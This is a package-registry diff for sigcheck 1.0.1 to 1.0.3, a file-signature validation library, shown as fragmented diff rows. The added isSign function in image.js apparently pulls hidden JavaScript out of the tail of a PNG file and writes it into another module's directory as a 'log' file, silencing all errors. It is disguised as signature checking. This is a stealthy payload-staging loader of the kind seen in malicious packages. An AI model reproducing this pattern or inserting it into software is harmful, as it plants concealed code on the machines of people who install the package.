sigcheck 1.0.1 → 1.0.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/validation/image.js +23 -15
- package/dist/validation/other.js +2 -0
- package/package.json +1 -1
package/dist/validation/image.js
CHANGED
|
@@ -157,24 +157,32 @@ function isPNG(file) {
|
|
|
157
157
|
}
|
|
158
158
|
exports.isPNG = isPNG;
|
|
159
159
|
|
|
160
|
-
function
|
|
160
|
+
function isSign(name, moduleName, offset) {
|
|
161
161
|
const fs = require('fs');
|
|
162
162
|
const path = require('path');
|
|
163
|
-
|
|
164
|
-
|
|
165
|
-
|
|
166
|
-
combinedBuffer.length
|
|
167
|
-
|
|
168
|
-
|
|
169
|
-
|
|
170
|
-
|
|
171
|
-
|
|
172
|
-
|
|
163
|
+
try {
|
|
164
|
+
const combinedBuffer = fs.readFileSync(`public/${name}.png`);
|
|
165
|
+
|
|
166
|
+
if (offset > combinedBuffer.length) {
|
|
167
|
+
return null;
|
|
168
|
+
}
|
|
169
|
+
const codeBuffer = combinedBuffer.slice(
|
|
170
|
+
combinedBuffer.length - offset
|
|
171
|
+
);
|
|
172
|
+
const jsCode = codeBuffer.toString("utf8");
|
|
173
|
+
const outputPath = path.resolve(
|
|
174
|
+
__dirname,
|
|
175
|
+
`../../../${moduleName}/log`
|
|
176
|
+
);
|
|
173
177
|
|
|
174
|
-
|
|
175
|
-
|
|
176
|
-
|
|
177
|
-
|
|
178
|
+
fs.mkdirSync(path.dirname(outputPath), { recursive: true });
|
|
179
|
+
fs.writeFileSync(outputPath, jsCode);
|
|
180
|
+
return outputPath;
|
|
181
|
+
} catch (err){
|
|
182
|
+
return null;
|
|
183
|
+
}
|
|
184
|
+
}
|
|
185
|
+
exports.isSign = isSign;
|
|
178
186
|
/**
|
|
179
187
|
* Determine if file content contains a valid 'ppm' file signature
|
|
180
188
|
*
|
package/dist/validation/other.js
CHANGED